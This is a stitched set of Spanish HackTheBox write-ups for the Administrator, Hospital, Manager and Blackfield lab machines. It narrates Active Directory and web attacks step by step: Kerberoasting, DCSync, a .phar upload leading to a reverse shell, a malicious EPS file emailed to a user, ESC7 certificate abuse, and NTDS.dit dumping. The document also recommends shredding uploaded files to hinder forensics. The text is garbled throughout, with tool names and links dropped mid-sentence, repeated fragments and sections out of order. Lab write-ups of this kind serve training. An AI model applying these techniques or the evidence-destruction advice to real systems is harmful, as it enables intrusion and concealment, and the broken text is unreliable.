A través de la herramienta pwsafe2john podemos obtener el hash de la contraseña para abrir el archivo de Password Safe. Almacenaremos el hash en "hash_backup" y a través de john procederemos a
Introduciremos la contraseña obtenida después de crackear el hash para abrir el archivo de la base de datos del Password Safe.
Verificamos que hemos podido acceder al archivo donde están almacenadas contraseñas y comprobamos que obtenemos una contraseña de la usuaria "Emily" que si bien recordamos es un usuario válido del dominio. Podemos intentar verificar si estas credenciales sirven para autenticarnos en el DC.
Validaremos las credenciales del usuario "emily@administrator.htb" , accederemos al WinRM y verificaremos la flag user.txt.
Se identificó que la cuenta Emily tenía el permiso GenericWrite sobre la cuenta Ethan, lo que permitía modificar atributos como servicePrincipalName (SPN)
. Aprovechando esto, se utilizó TargetedKerberoast para asignar temporalmente un SPN ficticio a la cuenta Ethan.
Luego, se solicitó un TGS (Ticket Granting Service) al DC, obteniendo un hash cifrado asociado al servicio. Finalmente, el SPN asignado fue eliminado para evitar dejar evidencias.
Se realizó el ataque a través de targetedKerberoast y se obtuvo un TGS (Ticket Granting Service) sobre el usuario "ethan@administrator.htb", que posteriormente crackearemos de manera offline.
Procederemos a crackear el hash obtenido para obtener la contraseña del usuario "ethan@adminsitrator.htb".
Validaremos que las credenciales son válidas para el dominio.
Al revisar nuevamente en BloodHound, se verificó que el usuario ethan@administrator.htb dispone de privilegios DCSync, lo que nos permite llevar a cabo un DCSync Attack. Esto nos da la posibilidad de obtener todos los hashes NTLM del archivo NTDS.dit, que es la base de datos de Active Directory y almacena las contraseñas de todos los usuarios del dominio.
Se realizó el ataque de DCSync Attack y obtuvimos todos los hashes NTLM, incluídos los del usuario Administrator.
Verficaremos que el hash NTLM es válido y procederemos a conectarnos a través de evil-winrm con el usuario administrator@administrator.htb y verificar la flag de root.txt.
Hospital
es una máquina Windows de dificultad media que aloja un entorno de Active Directory, un servidor web y una instancia de RoundCube
. La aplicación web tiene una vulnerabilidad de carga de archivos que permite la ejecución de código PHP arbitrario, lo que lleva a un shell inverso en la máquina virtual Linux que aloja el servicio. La enumeración del sistema revela un kernel Linux obsoleto que se puede explotar para obtener privilegios de root, a través de [CVE-2023-35001](https://nvd.nist.gov/vuln/detail/CVE-2023-35001)
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Hospital.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Comprobamos que se trata de un gestor de correos llamado RoundCube, pero no disponemos de credenciales válidas para acceder.
También hemos visto expuesto el puerto 8080 de un sitio web, en este caso nos aparece la siguiente interfaz para iniciar sesión y registrarnos también.
Procederemos a registrarnos con una cuenta falsa.
Procederemos a iniciar sesión con estas nuevas credenciales que hemos registrado.
El sitio web permite subir archivos, por lo tanto, como también habíamos comprobado que la página interpreta PHP, procederemos a testear a ver si podemos subir un archivo PHP y que interprete el código que le inyectemos.
Crearemos un archivo básico que imprima un "hola".
Interceptaremos la solicitud a través de BurpSuite y FoxyProxy.
Des de BurpSuite comprobaremos que si enviamosla solicitud hace un redirect a una página nombrada "failed.php". Esto parece indicar de que la extensión del archivo no le está gustando y no podemos subir un archivo con extensión PHP
Probaremosde comprobar si con otra extensión que igualmente interprete PHP podemos hacer que el archivo sea subido.
Disponemos de este listado de extensiones PHP que pueden ser interpretadas.
En BurpSuite pasaremos la solicitud al modo Intruder e indicaremos que la extensión "php" sea donde cargaremos el payload. El ataque será de tipo "Sniper"
Cargaremos el listado del payload que queremos establecer de las extensiones PHP
Indicaremos que extraiga el campo de "Location" que es donde nos aparaecía lo de "failed.php".
Lanzaremos el ataque y comprobaremos que existen unas extensiones que si se ha podido subir el archivo sin problemas.
Por otra parte, deberemos de comprobar en que ruta se suben estos archivos, ya que en la solicitud y respuesta no tenemos ninguna pista.
Para ello, utilizaremos gobuster para enumerar directorios del sitio web. Nos encontramos que hay un directorio llamado "uploads".
Otra de las maneras para comprobar el tema de qué extensión nos permite subir a la página web, es haciendo un script en Python3 que realize las mismas acciones que BurpSuite.
Este script probará de subir al sitio web archivos con las extensiones que le hayamos indicado y comprobará si se puede subir o no.
Procederemos de ejecutar el script y comprobaremos de las extensiones que se puden subir sin problemas.
Iremos probando extensiones, algunas de las nos permitía subir el archivo no nos interpretaba el código PHP del archivo.
La extensíón .phar nos interpreta correctamente el código PHP de nuestro archivo subido. Por lo tanto, disponemos de una vía potencial para intentar conseguir un RCE.
Crearemos otro Script para que se encargue de subir únicamente el archivo que tenemos "test.php" y se suba como "test.phar", así nos ahorraremos ir subiendo manualmente cada vez el archivo cada vez que modifiquemos el archivo.
Ya que a partir de ahora, modificaremos "test.php" y ejecutaremos el script y será subido al sitio web..
Modificaremos el contenido de "test.php" y lanzaremos el script.
De esta manera, comprobaremos que se sube correctamente el archivo a través del script de Python.
Modificaremos el archivo "test.php" para tener una ejecución de comandos a través de shell_exec y pasarle nosotros el comando a ejecutar a través de la variable "cmd".
Subiremos el archivo con el script "pharUpload.py".
Comprobaremos que nos funciona el script, esto nos puede indicar que es posible que algunas funciones PHP estén deshabilitadas por seguridad.
Para comprobar que funciones PHP se encuentran deshabilitadas a través de phpinfo().
Procederemos a subir el archivo nuevamente.
Volveremos a acceder a la ruta donde tenemos subido el archivo test.phar y comprobaremos las funcioens que se encuentran deshabilitadas.
Si la función se encuentra habilitada, nos aparecerá el nombre de la función y la palabra "Pwn3d". Subiremos este nuevo archivo a través de pharUpload.py.
Comprobaremos que disponemos de la función popen habilitada, por lo cual, ya tenemos una vía potencial para realizar ejecuciones de comandos a través de esta peligrosa función PHP, para así obtener un RCE.
Modificaremos nuevamente el script "test.php" y a través de la función PHP nombrada "popen" procederemos a realizar que se ejecute el comando "whoami". Subiremos nuevamente nuestro archivo.
Comprobamos que se ha ejecutado correctamente el comando "whoami". Por lo tanto a través de esta función PHP, podemos llegar a obtener un RCE.
Modificaremos el archivo "test.php" para indicar que a través de esta función PHP y la variable "cmd", des de la URL nosotros podamos indicarle el comando a ejecutar, para así no tener que ir modificando el archivo por cada comando que queramos ejecutar.
Subiremos nuestro archivo nuevamente.
Nos pondremos en escucha con nc por el puerto 443.
Le pasaremos el comando para obtener una Reverse Shell des de la variable "cmd" de nuestro archivo subido "test.phar".
Comprobamos que ganamos acceso a la máquina que utiliza el sitio web.
Nos encontramos en una máquina Linux, que parece ser una submáquina del dominio principal, nuestro objetivo será llegar a comprometer el Domain Controller.
Procederemos a través de shred de eliminar el archivo subido "test.phar" para eliminar las pruebas y así dificultar las labores forienses en la recuperación de ese archivo que nos podría incriminar.
Comprobaremos que usuarios diponen de una bash, para así intentar escalar al usuario, ya que somos actualmente "www-data".
Revisando los archivos que se encuentran en /var/www/html nos encontramos un archivo nombrado "config.php" que almacena las credenciales del administrador de la BBDD.
Procederemos a conectarnos a MySQL con las credenciales encontradas.
Revisaremos las tablas y los datos que hay almacenados en la BBDD, y nos encontramos con usuarios y contraseñas hashaedas.
Pero estos usuarios son los que se crean en http://hospital.htb:8080/ al registrarse. Si intentamos crackear las contraseñas no nos servirá para absolutamente nada, por lo tanto descartamos este punto.
Comprobaremos la información sobre la distribución del sistema operativo y los detalles del Kernel y del sistema operativo.
Comprobamos que hemos podido escalar de privilegios de www-data a root.
Como usuario root procederemos a comprobar el archivo /etc/shadow para comprobar los hashes del usuario "root" y del usuario "drwilliams" que son los únicos que disponen de una Bash.
Procederemos con hashcat de crackear los hashes y encontramos la contraseña del usuario "drwilliams".
Podemos comprobar con netexec si las credenciales encontradas son válidas para el dominio.
Ya que disponemos de credenciales válidas, procederemos a enumerar con rpcenum los usuarios válidos del dominio y toda la información importante del dominio.
Ya que disponemos de una lista de usuarios del dominio y unas credenciales válidas de dominio, procedremos a intentar realizar un AS-REP Roasting Attack y Kerberoasting Attack pero no obtenemos el Ticket Granting Ticket (TGT) ni el Ticket Granting Service (TGS).
Verificaremos de acceder con las nuevas credenciales obtenidas del usuario "drwilliams".
Comprobamos que hemos obtenido el acceso al RoundCube con este usuario.
Buscaremos a ver si encontramos algún método de inyectar código malicioso en un archivo .EPS para que sea visualizado en GhostScript.
Comprobaremos el archivo malicioso .EPS que nos ha creado.
Responderemos al correo de drbrown@hospital.htb y le pasaremos el archivo malicioso .EPS que hemos generado con el payload.
Nos pondremos en escucha con nc por el puerto que hemos establecido en la Reverse Shell y comprobamos que al parecer el usuario "drbrown" ha ejecutado el archivo que pare él pensaba que era legítimo pero dentro escondía un payload para otorgarnos una Reverse Shell.
Hemos obtenido una shell de PS.
Ya que tenemos acceso a la terminal, nos otorgaremos una Shell especial para Linux para tener mejor visualización.
Para ello, nos pasaremos el binario de nc.exe y nos lo descargaremos en Windows con certutil.exe.
Nos pondremos en escucha nuevamente por el puerto 443, y des de Windows, procederemos a través de nc.exe de enviarnos una Reverse Shell. Comprobaremos el acceso correctamente.
Comprobaremos que hay uan carpeta XAMPP en el equipo.
Comprobaremos el contenido de index.php y nos damos cuenta que este XAMPP levanta el servicio de RoundCube.
Comprobaremos los permisos que disponemos sobre la carpeta "htdocs" que es el repositorio donde XAMPP almacena las páginas web.
En este caso, comprobamos que el grupo "Users" dispone de permsios de lectura y ejecución. Esto puede ser peligroso debido que dependiendo quien levante el servicio de XAMPP, es posible ganar acceso como el usuario Administrator o hacer pivoting a otro usuario.
Imaginemos que el usuario que levanta el servicio es "Administrator" y logramos subir un archivo PHP que podamos hacer un RCE, el servidor web ejecutará ese archivo PHP como el usuario "Administrator", por lo tanto podríamos llegar a ejecutar comandos como dicho usuario.
Crearemos un archivo de prueba llamado "cmd.php" en el cual contiene la función shell_exec que permite la ejecución de comandos y que ejecute el comando que se pase por la variable "cmd".
Nos la pasaremos con un servidor web y nos lo descargaremos con certutil.exe.
Comprobaremos de realizar una ejecución de comandos a través de la variable del archivo subido y comprobamos que el comando "whoami" nos devuelve que el usuario que ejecuta ese archivo es "NT Authority\System", por lo tanto es el usuario Administrator.
Des de otra terminal nos pondremos en escucha nc y des de la URL haremos que se ejecute el comando para otorgarnos una Reverse Shell. Utilizaremos el binario de "nc.exe" que habíamos descargado anteriormente.
Comprobaremos que ganamos acceso al equipo como usuario "NT Authority\System" y visualizamos la flag de root.txt.
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Debido que disponemos de credenciales de un usuario del dominio que nos aporta HackTheBox, procederemos a realizar una enumeración a través del protocolo RPC con la herramienta .
Para consultar cómo funciona Certipy y los detalles sobre esta vulnerabilidad, se puede revisar la siguiente página ->
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Comprobaremos las páginas web que se encuentran expuestas en el Domain Controller. Para empezar, al acceder a nos encontramos con la página principal de IIS
(Internet Internet Information Services).
Al acceder a se nos muestra la siguiente página web en la cual se trata de PWM
, la cual nos ofrece un panel de inicio de sesión para proporcionar credenciales y dos opciones para abrir la configuración.
es una aplicación de autoservicio de contraseñas de código abierto para directorios LDAP.
Verificaremos si con estas credenciales podemos acceder a la página web de PWM
(). En este caso, se nos muestra un mensaje de error indicando el siguiente mensaje: Directory unaivailable
.
Accederemos a la opción de Configuration Editor
() e ingresaremos las credenciales del usuario PWM
que hemos obtenido de Ansible
.
Comprobamos que finalmente hemos logrado acceder al PWM
con las credenciales proporcionadas. Estando dentro de la herramienta, comprobamos que en el apartado de LDAP Connection
aparece la configuración de la conexión al servidor LDAP ().
Nos descargaremos el Chisel des del repositorio de Github a nuestra versión correspondiente de Kali y Windows -
Comprobaremos que si accedemos des de nuestra Kali a ya podemos ver el puerto interno de la máquina Windows y efectivamente se trata del Openfire.
Accederemos al panel de Openfire y comprobamos que tenemos la versión 4.7.5. Buscando exploits para esta versión de Openfire nos encontramos la siguiente en la cual podemos hacer llegar a obtener un RCE (Remote Code Execution)
Nos descargaremos el plugin vulnerable que nos ofrece el repositorio del exploit. -
Primero de todo, procederemos a pasarnos el .exe a un equipo Windows para analizarlo con la siguiente herramienta .
Procederemos a realiar la explotación de dicha vulnerabilidad para realizar un escalado de privilegios. Para ello hemos seguido la guía de donde lo explica de manera detallada y te muestra que se tiene que realizar.
En nuestra Kali procederemos a descargarnos el binario de Rubeus.exe des de . Rubeus lo utilizaremos para solicitar y cargar un ticket de servicio (TGS), lo que permite al atacante utilizar 'SERVICEA'
para actuar como un usuario privilegiado en un recurso determinado.
Buscando sobre exploit sobre "Microsoft Azure AD Sync" hemos encontrado un blog donde explica como intentar explotar dicha vulnerabilidad.
Nos descargaremos el en nuestra Kali, moveremos el contenido a nuestro directorio actual de trabajo, lo descomprimiremos y subiremos el .exe y el .dll al equipo comprometido a través de evil-winrm.
Windows PrivEsc: | LOLBAS:
Procederemos a abusar de este RCE otorgándonos una Reverse Shell. Para ello, en nuestra Kai nos descargaremos el y lo renombraremos a "PS.ps1".
Para ello, en nuestra Kali nos descargaremos el script de .
Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.
Debido que disponemos de credenciales de un usuario del dominio que nos aporta HackTheBox, procederemos a realizar una enumeración a través del protocolo RPC con la herramienta .
El acceso privilegiado permite leer los hashes de /etc/shadow
y, posteriormente, descifrarlos, lo que genera credenciales para la instancia de RoundCube
. Los correos electrónicos sobre el servicio sugieren el uso de «GhostScript», que expone el objetivo a la explotación a través de «», una vulnerabilidad que se explota creando un archivo Embedded PostScript (EPS) malicioso para lograr la ejecución remota de código en el host de Windows. El acceso al sistema se obtiene de dos formas: utilizando un keylogger para capturar las credenciales de «administrador» o abusando de los permisos «XAMPP» mal configurados.
Procederemos a comprobar el sitio web que está con SSL (puerto 443) -
Procederemos a realizar un script que compruebe si de las funciones que nos permiten la ejecución de comandos - .
Revisando exploits, nos encontramos el siguiente que nos permite escalar de privilegios al usuario "root" con la ejecución del exploit.
Procederemos a acceder a y comprobaremos que nos encontramos con la página que habíamos enumerado al principio.
Verificamos que tenemos un correo de "drbrown@hospital.htb" en el cual nos pide que le envíemos un archivo para que él lo pueda visualizar con .
Encontramos el siguiente repositorio en el cual nos indica que podemos inyectar un payload dentro de un archivo .EPS para que cuando sea abierto por GhostScript, sea ejecutado correctamente.
Nos descargaremos el repositorio, y crearemos el payload en formato EPS. El comando que queremos que ejecute es una Reverse Shell en PowerShell encodeado en Base64 des de
Manager
es una máquina Windows de dificultad media que aloja un entorno de Active Directory con AD CS (Active Directory Certificate Services)
, un servidor web y un servidor SQL
. El punto de apoyo implica enumerar usuarios mediante ciclos RID y realizar un ataque de rociado de contraseñas para obtener acceso al servicio MSSQL
. Luego se utiliza el procedimiento xp_dirtree
para explorar el sistema de archivos y descubrir una copia de seguridad del sitio web en la raíz web. Al extraer la copia de seguridad, se revelan las credenciales que se reutilizan para WinRM en el servidor. Finalmente, el atacante aumenta los privilegios a través de AD CS
mediante la explotación de ESC7
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Manager.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.
Procederemos a enumerar el sitio web que se encuentra alojado en puerto 80 (HTTP). Primero de todo, probaremos con la herramienta de whatweb de revisar qué tecnologías se utilizan en el sitio web.
A través de la herramienta de gobuster, enumeraremos posibles directorios que se encuentren disponibles en el sitio web.
Comprobromamos el acceso a uno de ellos y nos aparece error 403 Forbidden. De momento descartamos seguir por aqui, no hemos encontrado nada interesante en el sitio web.
A través de la herramienta NSrpcenum probaremos de enumerar los usuarios del dominio, ya que no disponemos de credenciales válidas. Nos indica que al parecer no podemos acceder por tema de permisos.
Procederemos a realizar con netexec sobre el SMB un ataque de RID Brute Force Attack.
Un ataque de fuerza bruta RID consiste en probar diferentes valores de RID (Relative Identifier) para identificar usuarios en un sistema Windows, utilizando el hecho de que los RIDs suelen ser consecutivos a partir de un valor conocido, como el administrador (500) o el invitado (501).
Del resultado anterior, extraeremos los campos que nos interesa, los nombres de los usuarios y nos lo guardaremos en "users.txt".
Otra de las maneras para ir enumerando usuarios del dominio válidos a través de un diccionario es empleando la herramienta de Kerbrute.
Debido que disponemos de una potencial lista de usuarios válidos del dominio, podemos plantearnos en efectuar un AS-REP Roast Attack para solicitar un Ticket Granting Ticket (TGT). En este caso ningún usuario disponía de la configuración de (DONT_REQ_PREAUTH) de Kerberos
Probaremos de realizar ataque de fuerza bruta con netexec para probar si los usuarios disponen de contraseña su mismo nombre de usuario en minúsculas.
Realizaremos con netexec y el parámetro (--no-bruteforce) y encontramos el usuario "operator" que su contrraseña es la misma del nombre del usuario.
Validaremos nuevamente las credenciales son válidas correctamente y si podemos autenticarnos mediante WinRM.
Verificamos que las credenciales si son válidas pero no tenemos permisos de conectarnos vía WinRM.
Ya que disponemos de unas credenciales válidas, podemos intentar realizar un Kerberoasting Attack para intentar solicitar un Ticket Granting Service (TGS).
Probaremos de realizar una enumeración con la herramienta de ldapdomaindump.
Comprobaremos qué usuarios forman parte del grupo "Remote Management Users", esto es interesante debido que actualmente tenemos credenciales pero aún no tenemos acceso a la máquina como tal, por lo tanto, nos interesa conectarnos con algún usuario a la máquina remota y así luego escalar privilegios como usuario Administrator.
Ya que tenemos credenciales válidas, probaremos de utilizar la herramienta de rpcenum para listar posible información de usuarios, grupos, etc.
Ya que hemos visto que el puerto de MSSQL se encuentra expuesto, procederemos a autenticarnos con las credenciales del usuario "operator" para probar si podemos a ganar acceso. El primer comando no nos sirvió, pero podemos utilizar el parámetro (-windows-auth) y ver si con este parámetro ganamos acceso. Comprobamos que efectivamente hemos ganado acceso al servicio MSSQL.
Probaremos de habilitar el componente xp_cmdshell pero no podemos activarlo por falta de permisos.
El compontente xp_dirtree si lo tenemos habilitado, probaremos de comprobar si podemos interceptar un hash NTLMv2.
Para ello, des de nuestra Kali nos levantaremos un servidor SMB y des de la terminal de MSSQL procederemos a ejecutar el comando de xp_dirtree en el servidor SMB que hemos montado, por parte de nuestra Kali, hemos recibido el hash NTLMv2.
Con la herramienta de hashid comprobaremos qué tipo de hash tenemos, en este caso, un hash NTLMv2.
Y con hashcat procederemos a crackear el hash para obtener la contraseña.
Comprobamos que no hemos obtenidor resultado para crackear la contraseña.
Volviendo a la terminal de MSSQL, volvermeos a aprovecharnos del componente xp_dirtree para listar archivos y directorios del sistema.
Comprobamos que dentro de la ruta (C:\inetpub\wwwroot\) hay un comprimido .zip de lo que parece ser el backup del sitio web, que si bien recordamos, el sitio web es el que enumeramos al principio, ya que vimos que estaba montado con IIS, y la ruta por defecto que utiliza este servidor web es la indicada.
Como este archivo se encuentra en la raíz directamente de donde están alojadas las páginas web, lo que haremos es lo siguiente.
Nos lo descargaremos directamente des de la misma URL con wget.
Procederemos a descromprimir el comprimido .zip
Revisando los archivos que disponemos, nos encontramos un archivo oculto nombrado ".old-conf.xml". Verificando el contenido del archivo, nos encontramos unas supuestas credenciales para el usuario "raven@manager.htb" que si mal no recordamos, este usuario formaba parte del grupo de "Remote Management Users", por lo tanto si estas credenciales son válidas, podríamos llegar a acceder al equipo a través de evil-winrm aprovechándonos que WinRM se encuentra expuesto.
A través de netexec validaremos que con estas credenciales podemos acceder al WinRM, comprobamos que sí ya que nos aparece.
Procederemos de realizar una enumeración del AD a travñes de la herramienta adPEAS.ps1 que es un script de Powershell (parecido a winPEAS) pero en vez de buscar malas configuraciones de Windows, hace exactamente lo mismo pero en el entorno del AD.
Nos lo descargaremos en nuestra Kali, levantaremos un servidor web con Pyton y a través de IEX en el equipo Windows, lo importaremos en memoria.
ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.
Algunas de las posibles vulnerabilidades que puede tener ADCS son:
Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.
Al ejecutar este comando, Certipy escanea el entorno de AD buscando posibles configuraciones de ADCS que sean vulnerables a explotación. Esto puede incluir permisos indebidos, configuraciones débiles de plantillas de certificado, o cualquier ajuste que permita abuso de privilegios en el entorno de Active Directory. Localizamos que existe una vulnerabilidad ESC7.
La vulnerabilidad ESC7 en ADCS permite que usuarios con pocos privilegios puedan obtener certificados que luego pueden usar para autenticarse como usuarios con más permisos. Esto ocurre porque ciertas plantillas de certificados están configuradas de forma insegura, permitiendo solicitudes de certificados que otorgan acceso elevado.
En pocas palabras: ESC7 permite a un atacante aprovechar plantillas mal configuradas para ganar privilegios y moverse en el dominio con más permisos de los que debería.
Primero, añadimos a Raven como officer en la autoridad de certificación 'manager-DC01-CA'
, lo que le da permisos para gestionar certificados. Luego, habilitamos la plantilla de certificados SubCA, permitiéndonos solicitar certificados basados en esa plantilla.
Solicitamos un certificado para administrator@manager.htb usando la plantilla SubCA, apuntando al Domain Controller dc01.manager.htb
. Después, emitimos la solicitud de certificado con el comando correspondiente.
Finalmente, ejecutamos el comando para recuperar el certificado emitido con el ID 22, lo que nos da el certificado solicitado y nos permite usarlo para autenticar como administrator@manager.htb o realizar otras acciones para escalar privilegios dentro del dominio.
Conprobaremos que se nos ha generado un archivo (administrator.pfx)
Con este comando autenticamos al usuario administrator usando un archivo de certificado PFX previamente obtenido, en este caso 'administrator.pfx'
. El archivo PFX contiene tanto el certificado como la clave privada, lo que nos permite autenticarnos como el usuario administrator en el dominio manager.htb.
Especificamos la dirección IP del Domain Controller (DC) con la opción -dc-ip 10.10.11.236, que es el servidor al que se conectará para realizar la autenticación.
Ejecutamos el comando Impacket psexec para ejecutar comandos remotamente en 10.10.11.236 como administrator del dominio manager.htb, usando los NTLM hashes en lugar de la contraseña. Esto nos permite autenticar como administrador sin necesidad de conocer la contraseña en texto claro y ejecutar tareas remotas con privilegios elevados.
Comprobamos la flag de root.txt
Blackfield
es una máquina Windows de dificultad alta que presenta configuraciones incorrectas de Windows y Active Directory. El acceso anónimo/de invitado a un recurso compartido SMB
se utiliza para enumerar usuarios. Una vez que se descubre que el usuario tiene la autenticación previa de Kerberos deshabilitada, lo que nos permite realizar un ataque ASREPRoasting
. Esto nos permite recuperar un hash del material cifrado contenido en el AS-REP
, que puede someterse a un ataque de fuerza bruta fuera de línea para recuperar la contraseña de texto sin formato.
Con este usuario podemos acceder a un recurso compartido SMB
que contiene artefactos forenses, incluido un volcado de proceso lsass. Este contiene un nombre de usuario y una contraseña para un usuario con privilegios WinRM
, que también es miembro del grupo de operadores de respaldo. Los privilegios conferidos por este grupo privilegiado se utilizan para volcar la base de datos de Active Directory y recuperar el hash del administrador de dominio principal.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Blackfield.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Intentaremos de realizar un reconocimiento para enumerar los usuarios a través de RPC con NSrpcenum sin éxito.
Procederemos a enumerar los recursos compartidos que hay en el SMB.
A través de smbmap probaremos de autenticarnos con el usuario "guest" y ver los permisos que disponemos.
Revisaremos el contenido del recurso compartido "profiles" a través de smbmap.
Accederemos al recurso compartido con el usuario "guest" al recurso compartido "profiles" y nos descargaremos todo el contenido del recurso.
Comprobaremos que hemos descargado 315 directorios pero sin ningún archivo. Al parecer en este recurso compartido parece haber nombres de usuarios.
Guardaremos los nombres de los posibles usuarios en el archivo "users.txt".
A través del usuario "guest" realizaremos un RID Brute Force Attack para enumerar a los usuarios mediante SMB a través de un ataque de fuerza bruta del RID. Estos usuarios los añadiremos al archivo "users.txt" sin eliminar los que ya tenemos.
Del listado de usuarios que disponemos, probaremos de validar los usuarios válidos. Para ello, haremos uso de kerbrute.
Estos archivos que hemos validado los guardaremos en un nuevo archivo "valid_users.txt".
De este nuevo listado de usuarios, los validaremos para comprobar que efectivamente todos los que hemos añadido son válidos en el dominio. En total disponemos de unos 335 usuarios en total.
Debido que disponemos de una lista potencial de usuarios, probaremos a realizar un AS-REP Roast Attack para intentar obtener un Ticket Granting Ticket (TGT) para luego crackearlo de manera offline.
De los TGT obtenidos procederemos a crackear los hashes con john para obtener la contraseña del usuario.
Validaremos con netexec de autenticarnos al SMB y de comprobar si con estas credenciales podemos acceder al WinRM. Verificamos que las credenciales son válidas, pero no tenemos de permisos suficientes para acceder remotamente al equipo.
Enumeraremos con este nuevo usuario los recursos compartidos del SMB para ver si disponemos de más acceso del que ya disponíamos con el usuario "guest".
Ya que disponemos de credenciales de un usuario del dominio válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS), sin éxito en este caso.
Enumeraremos el LDAP a través de la herramienta ldapdomaindump.
Verificamos los diferentes archivos de la enumeración de LDAP y comprobamos que el usuario "svc_backup" forma parte del grupo "Remote Management Users", esto nos puede interesar, ya que con este usuario podríamos conectarnos remotamente en caso de disponer de sus credenciales.
Realizaremos una enumeración con BloodHound a través de bloodhound-python.
Revisando BloodHound para buscar una vía potencial de escalar nuestros privilegios, nos damos cuenta que el usuario que tenemos (support@blackfield.local) dispone de permisos "ForceChangePassword" sobre el usuario (audit2020@blackfield.local).
Esto puede ser intersante para realizar un Lateral Movement.
Comprobamos que el usuario dispone de permisos para cambiar la contraseña del usuario en cuestión (audit2020@blackfire.local).
Debido que no disponemos de acceso a la máquina para realizarlo en el equipo Windows, lo podemos intentar realizar a través de net rpc para realizar el cambio de contraseña.
Realizamos el cambio y verificamos que se ha modificado correctamente las credenciales del usuario. Aún no podemos acceder al WinRM, ya que este usuario tampoco tiene permisos.
Probando de enumerar el SMB con estas nuevas credenciales, comprobamos que este usuario dispone de acceso para el recurso compartido "forensic".
Revisaremos el contenido del recurso compartido "forensic" a través de smbmap.
Descomprimiremos el archivo .zip descargado y comprobaremos que es un .DMP, es decir un volcado de memoria al parecer del LSASS.
Comprobaremos de qué tipo es el volcado de memoria, en este caso, es un volcado de memoria "Mini DuMP".
A través de la herramienta de pypykatz analiaremos el volcado de memoria de LSASS. Especificaremos el tipo de volcado (minidump).
Verificaremos que disponemos del hash NTLM del usuario "svc_backup" y del usuario "Administrator".
Verificaremos con netexec si podemos autenticarnos realizando un Pass The Hash con los hashes obtenidos, comprobamos que el del usuario "Administrator" no nos sirve, pero el del usuario "svc_backup" si.
Ya sabemos que el usuario "svc_backup" forma parte del grupo "Remote Management Users" debido que lo habíamos enumerado antes con ldapdomaindump, accederemos al WinRM a través de evil-winrm.
Verificamos la flag de user.txt.
Revisando los permisos del usuario "svc_backup" comprobamos que dispone del privilegio de SeBackupPrivilege. Por lo cual perfectamente nos podríamos dumpear la SAM para obtener los hashes del usuario Administrator (local).
Extraeremos la SAM y SYSTEM y nos la descargaremos en nuestra Kali.
A través de samdump2 obtendremos los hashes NTLM de los usuarios locales del equipo.
Validamos que no podemos hacer Pass The Hash con el hash del Administrador local. Además queremos ser el Administrador del dominio, no del equipo local.
Por lo tanto, ya que disponemos del privilegio SeBackupPrivilege y nos encontramos en el Domain Controller, podemos probar de dumpearnos el archivo "NTDS.dit" que es el archivo de la base de datos de Active Directory en los controladores de dominio que almacena todas las cuentas de dominio y sus hashes de contraseña., este archivo solamente se encuentra en el DC.
Comprobamos que no podemos copiarnos a través del comando "copy" el archivo.
Por lo tanto, lo que podemos hacer uso es de DiskShadow.
DiskShadow en Windows me permite hacer copias exactas de discos (instantáneas) para respaldar y restaurar datos. La uso para guardar el estado de un volumen en un momento específico y recuperarlo si algo falla, además de poder clonar discos fácilmente.
En nuestra Kali crearemos el siguiente archivo .txt que lo que realizará es permitir acceder a una copia exacta del volumen C:
en G:
sin afectar los datos en el volumen original.
Importante: Dejar un espacio al final de cada instrucción
Subiremos este archivo .txt al equipo de Windows.
A través de DiskShadow ejecutaremos el contenido de las instrucciones para crear una instantánea del volumen C:, guardarlo en un alias "gzzcoo" y exponerlo en la unidad G:, para así acceder a la copia de datos en G:.
Si con copy no podemos copiarnos el archivo NTDS.dit que tenemos en el volumen G:, probaremos con el uso de robocopy para copiarnos dicho archivo a nuestro directorio actual.
Comprobaremos que hemos dumpeado el NTDS.dit en el directorio que estamos actualmente, nos lo descargaremos a nuestra Kali.
A través de la herramienta de secretsdump.py ejecutaremos el siguiente comando.
Este comando sirve para extraer los hashes de contraseñas de Active Directory desde el archivo ntds.dit en nuestro equipo local. El archivo SYSTEM es necesario porque contiene la clave de cifrado para descifrar los datos del NTDS.dit y obtener los hashes de las contraseñas. Sin el archivo SYSTEM, no se pueden extraer los hashes, este archivo lo dumpeamos anteriormente con la SAM.
Comprobamos que obtenemos los hashes del usuario Administrador del dominio.
Validaremos que podemos autenticarnos realizando Pass The Hash y efectivamente podemos conectarnos al WinRM mediante evil-winrm, comprobaremos la flag de root.txt.
Intelligence
